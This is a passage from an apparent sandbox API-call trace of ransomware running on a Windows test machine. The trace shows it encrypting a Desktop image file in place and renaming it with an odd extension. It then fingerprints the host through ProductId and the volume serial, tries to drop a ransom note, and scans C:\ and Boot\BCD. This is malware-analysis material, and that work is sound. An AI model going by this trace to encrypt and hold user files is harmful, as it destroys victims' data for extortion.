| out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.242] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.242] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.242] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.242] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb843, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xb843, lpOverlapped=0x0) returned 1 [0146.244] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xb850, dwBufLen=0xb850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xb850) returned 1 [0146.244] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.244] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb850, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xb850, lpOverlapped=0x0) returned 1 [0146.244] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.244] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xb924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.244] SetEndOfFile (hFile=0xc0) returned 1 [0146.247] GetProcessHeap () returned 0x2ef0000 [0146.247] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.247] GetProcessHeap () returned 0x2ef0000 [0146.247] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.247] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_rRrik31.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_rrrik31.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_rRrik31.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_rrrik31.bmp.kjhslgjkjdfg")) returned 1 [0146.250] CloseHandle (hObject=0xc0) returned 1 [0146.251] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c5bbd0, ftCreationTime.dwHighDateTime=0x1d5e003, ftLastAccessTime.dwLowDateTime=0x9baf7a70, ftLastAccessTime.dwHighDateTime=0x1d5dd92, ftLastWriteTime.dwLowDateTime=0x9baf7a70, ftLastWriteTime.dwHighDateTime=0x1d5dd92, nFileSizeHigh=0x0, nFileSizeLow=0xb843, dwReserved0=0x0, dwReserved1=0xffff, cFileName="_rRrik31.bmp", cAlternateFileName="")) returned 0 [0146.251] GetProcessHeap () returned 0x2ef0000 [0146.251] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.251] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dffa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0146.251] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dffac8 | out: pbData=0x2f0c898, pdwDataLen=0x4dffac8) returned 1 [0146.251] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.251] GetProcessHeap () returned 0x2ef0000 [0146.251] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0146.251] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dffa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0146.251] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dffac8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dffac8) returned 1 [0146.251] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.251] GetProcessHeap () returned 0x2ef0000 [0146.251] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f167a0 [0146.251] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dffa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0146.251] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f167a0, pdwDataLen=0x4dffac8 | out: pbData=0x2f167a0, pdwDataLen=0x4dffac8) returned 1 [0146.251] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.252] GetProcessHeap () returned 0x2ef0000 [0146.252] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0146.252] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff638, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0146.252] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dff6a8 | out: pbData=0x2f0c928, pdwDataLen=0x4dff6a8) returned 1 [0146.252] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.252] GetProcessHeap () returned 0x2ef0000 [0146.252] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0146.252] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff638, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0146.252] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dff6a8 | out: pbData=0x2f11778, pdwDataLen=0x4dff6a8) returned 1 [0146.252] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.252] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dff6a4 | out: phkResult=0x4dff6a4*=0xc0) returned 0x0 [0146.252] RegQueryValueExA (in: hKey=0xc0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dff6b0, lpcbData=0x4dff6ac*=0x400 | out: lpType=0x0, lpData=0x4dff6b0*=0x30, lpcbData=0x4dff6ac*=0x18) returned 0x0 [0146.252] RegCloseKey (hKey=0xc0) returned 0x0 [0146.252] GetProcessHeap () returned 0x2ef0000 [0146.252] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0146.252] GetProcessHeap () returned 0x2ef0000 [0146.252] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0146.252] GetProcessHeap () returned 0x2ef0000 [0146.252] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0146.253] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff418, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0146.253] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dff47c | out: pbData=0x2f11778, pdwDataLen=0x4dff47c) returned 1 [0146.253] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.253] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dff480, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.253] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dff478, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dff478*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.253] GetProcessHeap () returned 0x2ef0000 [0146.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0146.253] wsprintfA (in: param_1=0x4dff6c7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.253] wsprintfA (in: param_1=0x4dffad4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.253] GetProcessHeap () returned 0x2ef0000 [0146.253] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f16b68 [0146.253] wsprintfW (in: param_1=0x4dfeaa4, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt") returned 56 [0146.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.253] GetProcessHeap () returned 0x2ef0000 [0146.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f167a0 | out: hHeap=0x2ef0000) returned 1 [0146.253] GetProcessHeap () returned 0x2ef0000 [0146.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16b68 | out: hHeap=0x2ef0000) returned 1 [0146.254] GetProcessHeap () returned 0x2ef0000 [0146.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0146.254] GetProcessHeap () returned 0x2ef0000 [0146.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.254] FindClose (in: hFindFile=0x2f11a90 | out: hFindFile=0x2f11a90) returned 1 [0146.254] GetProcessHeap () returned 0x2ef0000 [0146.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16538 | out: hHeap=0x2ef0000) returned 1 Thread: id = 172 os_tid = 0x9ec [0146.261] GetProcessHeap () returned 0x2ef0000 [0146.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f101d8 [0146.262] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2f11a90 [0146.262] GetProcessHeap () returned 0x2ef0000 [0146.262] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f101d8 | out: hHeap=0x2ef0000) returned 1 [0146.262] GetProcessHeap () returned 0x2ef0000 [0146.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x218) returned 0x2f16538 [0146.262] GetProcessHeap () returned 0x2ef0000 [0146.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0146.262] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2f14a78 [0146.262] GetProcessHeap () returned 0x2ef0000 [0146.262] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.262] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0146.262] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0146.262] GetProcessHeap () returned 0x2ef0000 [0146.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x232) returned 0x2f16758 [0146.262] GetProcessHeap () returned 0x2ef0000 [0146.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f122c8 [0146.263] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f12360 [0146.263] GetProcessHeap () returned 0x2ef0000 [0146.263] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f122c8 | out: hHeap=0x2ef0000) returned 1 [0146.263] FindNextFileW (in: hFindFile=0x2f12360, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.263] FindNextFileW (in: hFindFile=0x2f12360, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.263] GetProcessHeap () returned 0x2ef0000 [0146.263] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16998 [0146.263] FindNextFileW (in: hFindFile=0x2f12360, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0146.263] FindClose (in: hFindFile=0x2f12360 | out: hFindFile=0x2f12360) returned 1 [0146.263] GetProcessHeap () returned 0x2ef0000 [0146.263] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16998 | out: hHeap=0x2ef0000) returned 1 [0146.263] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0146.263] FindClose (in: hFindFile=0x2f14a78 | out: hFindFile=0x2f14a78) returned 1 [0146.263] GetProcessHeap () returned 0x2ef0000 [0146.263] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16758 | out: hHeap=0x2ef0000) returned 1 [0146.264] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Boot", cAlternateFileName="")) returned 1 [0146.264] GetProcessHeap () returned 0x2ef0000 [0146.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0146.264] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2f14a78 [0146.264] GetProcessHeap () returned 0x2ef0000 [0146.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0146.264] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0146.264] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0146.264] GetProcessHeap () returned 0x2ef0000 [0146.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x222) returned 0x2f16758 [0146.264] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.264] GetLastError () returned 0x20 [0146.265] GetProcessHeap () returned 0x2ef0000 [0146.265] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x100000) returned 0x4e00020 [0146.265] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4e00020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x4e00020, ResultLength=0x0) returned 0x0 [0146.330] GetCurrentProcessId () returned 0xa30 [0146.330] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.330] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.330] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.330] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.330] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.331] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.332] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.333] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.334] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0146.335] OpenProcess 